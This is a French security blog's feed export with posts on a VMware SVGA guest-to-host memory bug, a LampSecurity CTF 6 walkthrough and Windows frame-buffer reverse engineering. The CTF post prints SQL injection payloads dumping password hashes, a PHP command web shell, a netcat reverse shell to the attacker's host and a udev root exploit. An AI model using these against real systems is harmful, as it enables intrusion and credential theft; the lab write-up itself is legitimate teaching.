&lt;p&gt;Min et max représente la plage mémoire fifo réellement utilisé, ces valeurs ne changent pas quand l'os est chargé. Next_cmd représente la prochaine commande vidéo à exécuter. Stop représente le point de synchronisation, il se situe à un offset supérieur à next_cmd. Quand next_cmd est égal à stop ou dépasse max, alors la carte se resynchronise et attend ensuite de nouvelles requêtes.&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;background-color: #555555&quot;&gt;                 &lt;/span&gt; &lt;- début de la ram dédier a la mémoire FIFO 
&lt;span style=&quot;background-color: #555555&quot;&gt;                 &lt;/span&gt; 
&lt;span style=&quot;background-color: #55FF55&quot;&gt;                 &lt;/span&gt; &lt;- SVGA_FIFO_MIN 
&lt;span style=&quot;background-color: #55FF55&quot;&gt;                 &lt;/span&gt;
&lt;span style=&quot;background-color: #55FF55&quot;&gt;                 &lt;/span&gt;
&lt;span style=&quot;background-color: #99FF99&quot;&gt;                 &lt;/span&gt; &lt;- SVGA_FIFO_NEXT_CMD
&lt;span style=&quot;background-color: #FFAA11&quot;&gt;                 &lt;/span&gt; &lt;- SVGA_FIFO_STOP
&lt;span style=&quot;background-color: #55FF55&quot;&gt;                 &lt;/span&gt;
&lt;span style=&quot;background-color: #55FF55&quot;&gt;                 &lt;/span&gt; &lt;- SVGA_FIFO_MAX 
&lt;span style=&quot;background-color: #555555&quot;&gt;                 &lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
Dans cette mémoire se trouve les commandes, elles suivent un schéma bien précis. On va prendre l'exemple de la commande RECT_COPY qui prend 6 paramètres (Source X, Source Y, Dest X, Dest Y, Width, Height) et deux paramètres supplémentaires appelés capacities et dont je n'ai pas trouvé l'utilité. Ce qui donne:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
+0x0    3 // RECT_COPY (id)
+0x4    0 // Source X
+0x8    0 // Source Y
+0xc   10 // Dest X
+0x10  10 // Dest Y
+0x14  50 // Width en px
+0x18  50 // Height en px
+0x1c  ?? // cap1
+0x20  ?? // cap2
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
J'essaye donc d'écrire dans la mémoire fifo pour faire pointer SVGA_FIFO_NEXT_CMD sur une commande crafté. Mais vu la rapidité des traitements de la mémoire vidéo il va falloir passer par des commandes IN/OUT pour bloquer les traitements vidéos. Créer notre commande puis relancer le traitement. Pour cela on va communiquer avec la carte graph virtualisée, on a besoin de deux données, l'index port et le value port. Pour le SVGA de type 2 les ports se trouvent comme ceci:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
Dans svga_reg.h on as les define:
#define SVGA_INDEX_PORT		0x0
#define SVGA_VALUE_PORT		0x1
#define SVGA_BIOS_PORT		0x2
#define SVGA_NUM_PORTS		0x3
#define SVGA_IRQSTATUS_PORT	0x8
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
IndexPort = (IOportsBase &amp;amp; PCI_ADDRESS_IO_MASK ) + SVGA_INDEX_PORT;&lt;br /&gt;
ValuePort = (IOportsBase &amp;amp; PCI_ADDRESS_IO_MASK ) + SVGA_VALUE_PORT;&lt;/p&gt;


&lt;p&gt;On peut donc ensuite envoyer nos commandes... Sachant qu'elles ne sont pas bien filtrées:
&quot;For example if Dest X + Width falls out the screen, the operation is said to “clip” and is aborted.
Yet the comparisons done on the DWORD and the results of the additions are &lt;strong&gt;signed&lt;/strong&gt;. This opens the door to some malicious usage of the command.&quot;&lt;/p&gt;


&lt;p&gt;Pendant 2 jours j'ai bloqué là dessus. Puis j'ai décidé de contacter Kostya pour plus de détail (et je le remercie encore pour son aide). Pour récupérer la mémoire de l'host il suffit que la commande RECT_COPY ait comme paramètre Source X &amp;gt; 0 et Source X + width &amp;lt; 0. Il faut donc jouer avec la valeur 0x80000000 pour que la comparaison signée foire. Je ferai un article sur l'exploitation du beug. En tout cas le travail de Kostya est vraiment impressionnant surtout du coté de la communication entre l'host et le guest (MOSDEF over Direct3D) pour la fiabilisation de l'exploit.&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://mysterie.fr/blog/index.php?post/2009/09/11/VMWare-Cloudburst-suite&quot;&gt;Lire la suite...&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Le code:&lt;br /&gt;
&lt;a href=&quot;http://ftp.kaist.ac.kr/NetBSD/NetBSD-current/xsrc/xfree/xc/programs/Xserver/hw/xfree86/drivers/vmware/&quot;&gt;Du driver xfree86 de VMWare&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/vmwareFail.htm&quot;&gt;De mon driver (sans exploit pour le moment)&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Quelques liens:&lt;br /&gt;
&lt;a href=&quot;http://sourceware.org/ml/ecos-devel/2006-10/msg00008/README.xfree86&quot;&gt;Documentation sur le driver XF86 &amp;amp; SVGAII&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://invisiblethingslab.com/itl/Resources.html&quot;&gt;Ring -3 Rootkits &amp;amp; Intel BIOS attack&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.milw0rm.com/papers/360&quot;&gt;zf05 Mass 0wn4g3&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2009/08/05/VMWare#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2009/08/05/VMWare#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/7</wfw:commentRss>
      </item>
    
  <item>
    <title>LampSecurity CTF 6</title>
    <link>http://mysterie.fr/blog/index.php?post/2009/07/28/LampSecurity-CTF-6</link>
    <guid isPermaLink="false">urn:md5:e4ece6150761c213c605e6b45482c90c</guid>
    <pubDate>Tue, 28 Jul 2009 22:40:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Challenge</category>
            
    <description>    &lt;p&gt;Je me suis attaqué à l'épreuve proposée par &lt;a href=&quot;http://www.lampsecurity.org/&quot;&gt;lampsecurity&lt;/a&gt;, le principe est de faire tourner une machine virtuelle et de la rooter. Si le challenge vous intéresse c'est &lt;a href=&quot;http://www.lampsecurity.org/capture-the-flag-6&quot;&gt;ici&lt;/a&gt;. Il y a aussi une solution en pdf, je propose une autre solution ici. Si vous n'avez pas fait l'épreuve essayé la avant de lire ce qui suit :)&lt;/p&gt;


&lt;p&gt;Pour l'installation de l'épreuve j'ai utilisé &lt;a href=&quot;http://www.vmware.com/download/player/&quot;&gt;VMware player 2.5.2 build-156735&lt;/a&gt;&lt;br /&gt;
Pour la mise en place, la carte réseau virtuel est en mode bridged (Devices-&amp;gt;Network adapteur-&amp;gt;Bridged) ensuite il suffit de lancer la machine et c'est parti. Le mode bridged induit le faite que la machine sera sur le réseau local. Comme je travail sous windows je commence par:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
ipconfig /all
Masque de sous-réseau . . . . . . : 255.255.255.0
Passerelle par défaut . . . . . . : 192.168.1.1
Serveur DHCP. . . . . . . . . . . : 192.168.1.1
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
Ensuite on lance &lt;a href=&quot;http://mysterie.fr/blog/index.php?post/2009/07/28/nmap.org&quot;&gt;Nmap&lt;/a&gt; pour localiser la machine:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.0/24
&lt;/pre&gt;


&lt;p&gt;Chez moi son ip est 192.168.1.114. Puis je scan les ports:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
nmap -p 1-65535 -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.114
&lt;/pre&gt;


&lt;p&gt;Étant une épreuve ciblée sur apache &amp;amp; co le seul port ouvert est le port 80/http. On se rend sur le site web et après quelques tests on se rend compte que le site est criblé de failles: upload, sql injection, etc.&lt;/p&gt;


&lt;p&gt;http://192.168.1.114/index.php?id=1 OR 1=1 &lt;br /&gt;affiche tout les évents. Ensuite on essaye de comprendre comment est structuré la requête. On peut interagir avec 3 champs apparemment 2,3,7 pour récupérer des informations.&lt;br /&gt;
?id=1 UNION SELECT 1,user(),database(),4,5,6,@@VERSION se qui nous donne:&lt;br /&gt;
user: cms_user@localhost&lt;br /&gt;
Version du serv sql&amp;nbsp;: 5.0.45&lt;br /&gt;
Table utilisé: cms&lt;/p&gt;


&lt;p&gt;Ensuite je me suis intéressé à la base information_schema pour avoir une vu global de la base de donnée. &lt;br /&gt;
Par exemple ?id=1 UNION SELECT 1,2,3,4,5,6,SCHEMA_NAME from information_schema.schemata nous indique que la base de donné ressemble à ça:&lt;/p&gt;


&lt;p&gt;- information_schema&lt;br /&gt;
- cms&lt;br /&gt;
- mysql&lt;br /&gt;
- roundcube&lt;br /&gt;
- test&lt;/p&gt;


&lt;p&gt;?id=1 UNION SELECT 1,Host,User,4,5,6,Password from mysql.user&lt;br /&gt;
root@localhost&amp;nbsp;: 6cbbdf9b35eb7db1 -&amp;gt; mysqlpass&lt;br /&gt;
cms_user@%&amp;nbsp;: 2e0cfd856355b099 -&amp;gt; 45kkald?8laLKD&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;On peut aussi scanner les répertoires du site où on trouve le fichier http://192.168.1.114/sql/db.sql d'où on récupère des infos sur la table cms.user se qui nous donne le pass admin du site. (on remarquera au passage qu'il y a des sessions stoquées dans la BDD...)&lt;/p&gt;


&lt;p&gt;admin&amp;nbsp;: 25e4ee4e9229397b6b17776bfceaf8e7 -&amp;gt; adminpass&lt;br /&gt;
On se log donc et on profite de l'upload d'image non filtré. les images sont stoquées dans files/, hop on up un script php avec un system($cmd). On en a fini pour la partie web, le plus intéressant arrive:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
uname -a
Linux 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
fred:x:502:502::/home/john:/bin/bash
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
On ne peut pas se loger avec apache, ni utiliser passwd pour nous créer un compte ssh. J'upload un netcat compilé sur une autre box vu que le script d'upload filtre rien, c'est la solution la plus simple a mon gout.&lt;br /&gt;&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
Coté attaquant  : C:\&gt;nc -v -l -p 2501
Coté victime    : ?cmd=./netcat -e /bin/sh 192.168.1.111 2501
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
On a un shell, il nous reste plus qu'a élever nos privilèges sur la cible :p. La faille vmsplice ne donne rien, &lt;a href=&quot;http://www.milw0rm.com/exploits/8478&quot;&gt;udev&lt;/a&gt; par contre... L'exploitation est un peu chaude, J'ai eu recours à la solution proposé par lampsec. En gros le sploit a besoin d'un pid qu'on ne peut pas retrouver précisément. On se base sur ça:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cfc43c00 0   3153   00000111 0        0        00000000 2
cfecce00 0   0      00000000 0        0        00000000 2
cf5f8000 6   0      00000000 0        0        00000000 2
cf54b800 7   0      00000000 0        0        00000000 2
ce733e00 9   2467   00000000 0        0        00000000 2
cfe4f000 9   0      00000000 0        0        00000000 2
cfe46c00 10  0      00000000 0        0        00000000 2
cfbecc00 11  0      00000000 0        0        00000000 2
&lt;span style=&quot;color: #FF5555;&quot;&gt;cfc43a00 15  571    ffffffff 0        0        00000000 2 &lt;/span&gt;
cfeccc00 15  0      00000000 0        0        00000000 2
cfbeca00 16  0      00000000 0        0        00000000 2
cfcf0200 18  0      00000000 0        0        00000000 2
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
Le pid utilisé dans l'exploit devrai être 571-1, en réalité ça a fonctionné avec le pid 573 donc n'hésitez pas à faire plusieurs test... J'ai modifié le script de la faille udev vu qu'on a pas de shell interactif, juste une connexion avec netcat. J'ai donc copié les fichiers /etc/shadow &amp;amp; /etc/passwd avec les droits de lecture pour apache. Ensuite on crack les pass obtenu à l'aide de &lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;John the ripper&lt;/a&gt; ce qui donne un résultat assez rapidement.&lt;br /&gt; fred&amp;nbsp;: fred1989&lt;/p&gt;


&lt;p&gt;On peut donc maintenant se loger en ssh et profiter d'un vrai shell, on relance le sploit udev en le modifiant encore pour ne pas avoir d'erreur d'acces en écriture/lecture (celui si utilise des liens hardcodés donc /tmp/suid est inaccessible. On modifie donc /tmp/suid par /tmp/suidBis). On relance le sploit modifié avec cette fois si un execl(&quot;/bin/sh&quot;, &quot;sh&quot;, NULL); et on obtient notre shell avec les droits root. :)&lt;/p&gt;


&lt;p&gt;Il y a surement d'autres solutions, comme au niveau de roundcube ou des sessions, je n'ai pas cherché...&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2009/07/28/LampSecurity-CTF-6#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2009/07/28/LampSecurity-CTF-6#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/5</wfw:commentRss>
      </item>
    
  <item>
    <title>A la quête du frame buffer</title>
    <link>http://mysterie.fr/blog/index.php?post/2009/07/22/...</link>
    <guid isPermaLink="false">urn:md5:b5e4cbafe734dede4fdc016c4368bb1f</guid>
    <pubDate>Wed, 22 Jul 2009 15:08:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Reverse</category>
            
    <description>    &lt;p&gt;C'est l'été, dehors il fait beau, les oiseaux chantent. Autant de bonne raison pour resté chez moi et coder.&lt;/p&gt;


&lt;p&gt;Toujours à la recherche de mon frame buffer, il existe quelques méthodes pour récupérer l'adresse physique de celui-ci. Mais rien pour l'adresse virtuelle. J'ai eu l'idée d'envoyer des IOCTL au driver miniport de ma carte graph' pour qu'il me renvoi les informations que je recherche. Pour se faire j'utilise la fonction &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa363216(VS.85).aspx&quot;&gt;DeviceioControl()&lt;/a&gt; qui nécessite un handle. Ce handle on le récupère avec &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa363858(VS.85).aspx&quot;&gt;CreateFile(&quot;\\\\.\\DISPLAY1, ...);&lt;/a&gt; Sauf qu'en retour on a le droit à un beau &quot;Access denied&quot;. ouch...&lt;/p&gt;


&lt;p&gt;DISPLAY1 est un lien symbolique vers \Device\Video0, chaques devices est lié à un driver, sous VMware on a:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
kd&gt; !devobj Video0
Device object (8163e870) is for:
 Video0 \Driver\vmx_svga DriverObject 8164f880

kd&gt; !drvobj vmx_svga 3
Driver object (8164f880) is for:
 \Driver\vmx_svga
Driver Extension List: (id , addr)
(8164f880 816e47f8)  
Device Object list:
8163e870  

DriverEntry:   f9eee240	vmx_svga
DriverStartIo: 00000000	
DriverUnload:  f97aa7e6	VIDEOPRT!VpDriverUnload
AddDevice:     f97ac418	VIDEOPRT!VpAddDevice

Dispatch routines:
[00] IRP_MJ_CREATE                      f97ab65c	VIDEOPRT!pVideoPortDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE           805025e4	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f97ab65c	VIDEOPRT!pVideoPortDispatch
[03] IRP_MJ_READ                        805025e4	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       805025e4	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           805025e4	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             805025e4	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    805025e4	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      805025e4	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               805025e4	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    805025e4	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      805025e4	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           805025e4	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         805025e4	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              f97ab65c	VIDEOPRT!pVideoPortDispatch
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     805025e4	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    f97ab65c	VIDEOPRT!pVideoPortDispatch
[11] IRP_MJ_LOCK_CONTROL                805025e4	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     805025e4	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             805025e4	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              805025e4	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                805025e4	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       f97a7d80	VIDEOPRT!pVideoPortPowerDispatch
[17] IRP_MJ_SYSTEM_CONTROL              f979f748	VIDEOPRT!pVideoPortSystemControl
[18] IRP_MJ_DEVICE_CHANGE               805025e4	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 805025e4	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   805025e4	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         f97a7150	VIDEOPRT!pVideoPortPnpDispatch
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
Hop un petit schéma pour les autistes:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
   |&lt;span style=&quot;text-decoration: overline;&quot;&gt;                  &lt;/span&gt;|&lt;span style=&quot;color: #0000FF;&quot;&gt;----------------------&gt;&lt;/span&gt;|&lt;span style=&quot;text-decoration: overline;&quot;&gt; I/O Manager &lt;/span&gt;|
   | GDI (win32k.sys) |  &lt;span style=&quot;color: #0000FF;&quot;&gt;GreDeviceIoControl&lt;/span&gt; +&gt;|&lt;span style=&quot;text-decoration: underline;&quot;&gt; (Video0)    &lt;/span&gt;|&lt;span style=&quot;text-decoration: overline;&quot;&gt;    &lt;/span&gt;|
 &lt;span style=&quot;color: #FF0000;&quot;&gt;+&gt;&lt;/span&gt;|&lt;span style=&quot;text-decoration: underline;&quot;&gt;                  &lt;/span&gt;|&lt;span style=&quot;color: #00FF00;&quot;&gt;&lt;span style=&quot;text-decoration: overline;&quot;&gt; &lt;/span&gt;|&lt;/span&gt;                   |                    |
 &lt;span style=&quot;color: #FF0000;&quot;&gt;| Eng call&lt;/span&gt;             &lt;span style=&quot;color: #00FF00;&quot;&gt;|&lt;/span&gt;                   |                    |
 &lt;span style=&quot;color: #FF0000;&quot;&gt;|&lt;/span&gt;                      &lt;span style=&quot;color: #00FF00;&quot;&gt;|&lt;/span&gt;                   |_|&lt;span style=&quot;text-decoration: overline;&quot;&gt; Video Port     &lt;/span&gt;|&lt;+
 &lt;span style=&quot;color: #FF0000;&quot;&gt;|&lt;/span&gt;             &lt;span style=&quot;color: #00FF00;&quot;&gt;Ddi call |&lt;/span&gt;                   +&gt;|&lt;span style=&quot;text-decoration: underline;&quot;&gt; (Videoprt.sys) &lt;/span&gt;|&lt;span style=&quot;text-decoration: overline;&quot;&gt; &lt;/span&gt;|
 &lt;span style=&quot;color: #FF0000;&quot;&gt;|_&lt;/span&gt;|&lt;span style=&quot;text-decoration: overline;&quot;&gt;                  &lt;/span&gt;|&lt;span style=&quot;color: #00FF00;&quot;&gt;&lt;+&lt;/span&gt;                   |                    |
   | Display driver   |                     |_|&lt;span style=&quot;text-decoration: overline;&quot;&gt; Video Miniport &lt;/span&gt;|&lt;+
 &lt;span style=&quot;color: #FF00FF;&quot;&gt;+&gt;&lt;/span&gt;|&lt;span style=&quot;text-decoration: underline;&quot;&gt; (vmx_fb.dll)     &lt;/span&gt;|                       |&lt;span style=&quot;text-decoration: underline;&quot;&gt; (vmx_svga.sys) &lt;/span&gt;|&lt;span style=&quot;color: #FF00FF;&quot;&gt;&lt;--+
 |          &lt;/span&gt;___________________________________________&lt;span style=&quot;color: #FF00FF;&quot;&gt;            |
 |_________&lt;/span&gt;|             La carte Graph \o/            |&lt;span style=&quot;color: #FF00FF;&quot;&gt;___________|&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Grâce a un petit script made in Invanlef0u on va pouvoir retrouver les handles qui nous intéressent. J'ai aussi &lt;a href=&quot;http://mysterie.fr/prog/blog/dispHandle.htm&quot;&gt;codé un driver&lt;/a&gt; qui dump l'object table du process System.&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
kd&gt;bp nt!zwopenfile &quot;.printf \&quot;ZwOpenFile \&quot;; !ustr poi(poi(@esp+4+2*4)+2*4);&quot;

&lt;span style=&quot;color: #FF5555&quot;&gt;// Ca break sur \Device\Video0&lt;/span&gt;
kd&gt; !handle 80000478
processor number 0, process 815c3020
PROCESS 815c3020  SessionId: 0  Cid: 025c    Peb: 7ffde000  ParentCid: 0168
    DirBase: 07136000  ObjectTable: e148c9a0  HandleCount:  25.
    Image: csrss.exe

Kernel Handle table at e1539000 with 58 Entries in use
80000478: Object: 816e48e8  GrantedAccess: 00000000 Entry: e10028f0
Object: 816e48e8  Type: (817b8730) File
    ObjectHeader: 816e48d0 (old version)
        HandleCount: 1  PointerCount: 2
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
L'handle est ouvert avec &lt;strong&gt;DesiredAccess = FILE_SUPERSEDED&lt;/strong&gt;  et &lt;strong&gt;ShareAccess = 0&lt;/strong&gt;. Aïe pas moyen d'interagir avec. D'ailleurs quand le device est chargé on se rend compte que le handle a été refermé, il y a juste un pointeur sur l'objet video0. Donc on ne cherche pas dans la bonne direction... :(&lt;/p&gt;


&lt;p&gt;Il existe une fonction noyau équivalente à &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa363216(VS.85).aspx&quot;&gt;DeviceioControl&lt;/a&gt; qui est &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms801530.aspx&quot;&gt;IoBuildDeviceIoControlRequest&lt;/a&gt; (merci &lt;a href=&quot;http://0vercl0k.tuxfamily.org/bl0g/&quot;&gt;Overclok&lt;/a&gt; pour l'indication). Elle crée des irp de type &lt;strong&gt;IRP_MJ_INTERNAL_DEVICE_CONTROL&lt;/strong&gt; et &lt;strong&gt;IRP_MJ_DEVICE_CONTROL&lt;/strong&gt;. C'est le deuxième type qui nous intéresse, le driver vidéo n'implante pas la première. Et pour cette fonction nul besoin d'un handle, un pointeur vers l'objet video0 suffit.&lt;/p&gt;


&lt;p&gt;Je crée un autre bp sur la fonction &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms801459.aspx&quot;&gt;IoGetDeviceObjectPointer()&lt;/a&gt; pour trouver ce pointeur au boot.&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
kd&gt;bp nt!IoGetDeviceObjectPointer &quot;!ustr poi(@esp+4); .printf \&quot;\n\tFile:\&quot;; dd poi(@esp+4+4*2) L1; .printf \&quot;\n\tDevice:\&quot;; dd poi(@esp+4+4*3) L1;&quot;
kd&gt;g
String(28,30) at f9c7ac44: \Device\Video0
 	File:f9c7ac68  f9c7ad18
 	Device:f9c7ac84  00000000
nt!IoGetDeviceObjectPointer:
805904b9 8bff            mov     edi,edi
kd&gt;ba w 1 0xf9c7ac84

&lt;span style=&quot;color: #FF5555;&quot;&gt;//Puis ca break le pointeur vers video0 est initialisé.&lt;/span&gt;
kd&gt; dt nt!_DEVICE_OBJECT 0x816cac30
   +0x000 Type             : 3
   +0x002 Size             : 0x3a0
   +0x004 ReferenceCount   : 1
   +0x008 DriverObject     : 0x816ce488 _DRIVER_OBJECT
   +0x00c NextDevice       : (null) 
   +0x010 AttachedDevice   : (null) 
   +0x014 CurrentIrp       : (null) 
   +0x018 Timer            : (null) 
   +0x01c Flags            : 0x284c
   +0x020 Characteristics  : 0x100
   +0x024 Vpb              : (null) 
   +0x028 DeviceExtension  : 0x816cace8 
   +0x02c DeviceType       : 0x23
   +0x030 StackSize        : 2 ''
   +0x034 Queue            : __unnamed
   +0x05c AlignmentRequirement : 0
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : 0
   +0x098 SecurityDescriptor : 0xe14b3680 
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : 0
   +0x0ae Spare1           : 0
   +0x0b0 DeviceObjectExtension : 0x816cafd0 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : (null) 
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
Ensuite il suffit d'envoyer un IoControlCode de type &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms802640.aspx&quot;&gt;IOCTL_VIDEO_MAP_VIDEO_MEMORY&lt;/a&gt; avec les structures &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms802695.aspx&quot;&gt;VIDEO_MEMORY&lt;/a&gt; et &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa479365.aspx&quot;&gt;VIDEO_MEMORY_INFORMATION&lt;/a&gt; à zero. Et on obtient les adresses virtuelles de la mémoire vidéo et du frame buffer, dans mon cas:&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
Video Memory:
&lt;span style=&quot;color: #5555FF;&quot;&gt;0xf86d8000&lt;/span&gt; size: &lt;span style=&quot;color: #5555FF;&quot;&gt;16777216&lt;/span&gt;
Frame buffer:
&lt;span style=&quot;color: #5555FF;&quot;&gt;0xf86d8000&lt;/span&gt; size: &lt;span style=&quot;color: #5555FF;&quot;&gt;1920000&lt;/span&gt;

kd&gt; dd 0xf86d8000
f86d8000  00edf6f5 00ecf5f4 00edf2f5 00ecf1f4
f86d8010  00ecf1f5 00ecf1f5 00edf0f7 00edf0f7
f86d8020  00f1f2f7 00f2f3f7 00f4f5f9 00f6f8f7
f86d8030  00f7f7f5 00f7f8f3 00f5f6f0 00f5f6f0
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
Voilà les premiers pixels de l'écran. Mais ce qu'il y a de plus intéressant c'est la taille du frame buffer par rapport à la taille de la mémoire vidéo. 16777216-1920000 = 14857216 octet. Donc &lt;strong&gt;14,857Mo&lt;/strong&gt; dans le kernel space non utilisé où on peut y cacher plein de chose. Étonnant non?&lt;/p&gt;


&lt;p&gt;J'utilise ObReferenceObjectByName() fonction non documenté, avec le nom du driver miniport &quot;vmx_svga&quot;, pour récupérai le pointeur sur le device video0. D'ailleurs grâce à cette fonction on pourrai lister tout les devices chargés, et leurs envoyé des IOCTL, moi je me suis limité à la vidéo.&lt;/p&gt;


&lt;p&gt;Si vous voulez tester le code de votre coté, pour retrouver le nom du driver vidéo il suffit de chercher dans les registres.&lt;br /&gt;
HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\VIDEO clef \Device\Video0&lt;br /&gt;contient un identifiant chez moi &lt;strong&gt;E27CB637-47DA-4B2B-8B0D-50E8CD7B9FAC&lt;/strong&gt;. On s'en sert ensuite&lt;br /&gt;
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Video\{&lt;strong&gt;E27CB637-47DA-4B2B-8B0D-50E8CD7B9FAC&lt;/strong&gt;}\Video et la clef Service contient le nom de notre driver miniport. Donc dans mon code il faudra remplacer le nom du driver &quot;vmx_svga&quot; par le votre.&lt;br /&gt;
Oui j'ai baclé la fin, j'éditerai surement le post pour automatiser la recherche, ou pas.&lt;/p&gt;


&lt;p&gt;Code: &lt;a href=&quot;http://mysterie.fr/prog/blog/framebuffer.htm&quot;&gt;framebuf.sys&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2009/07/22/...#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2009/07/22/...#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/4</wfw:commentRss>
      </item>
    
  <item>
    <title>D3D Hooking</title>
    <link>http://mysterie.fr/blog/index.php?post/2009/05/21/D3D-Hooking</link>
    <guid isPermaLink="false">urn:md5:80c9dcde75b3baff5c8063ef813c533d</guid>
    <pubDate>Thu, 21 May 2009 22:38:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Reverse</category>
            
